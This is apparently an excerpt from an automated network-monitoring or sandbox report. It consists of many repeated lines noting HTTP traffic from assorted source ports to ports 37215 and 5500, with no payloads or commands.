Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40022 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55816 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 55182
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 50850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51624 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 5500 -> 51624
Source: unknown	Network traffic detected: HTTP traffic on port 46738 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 39886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 5500 -> 56384
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35234 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45634 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
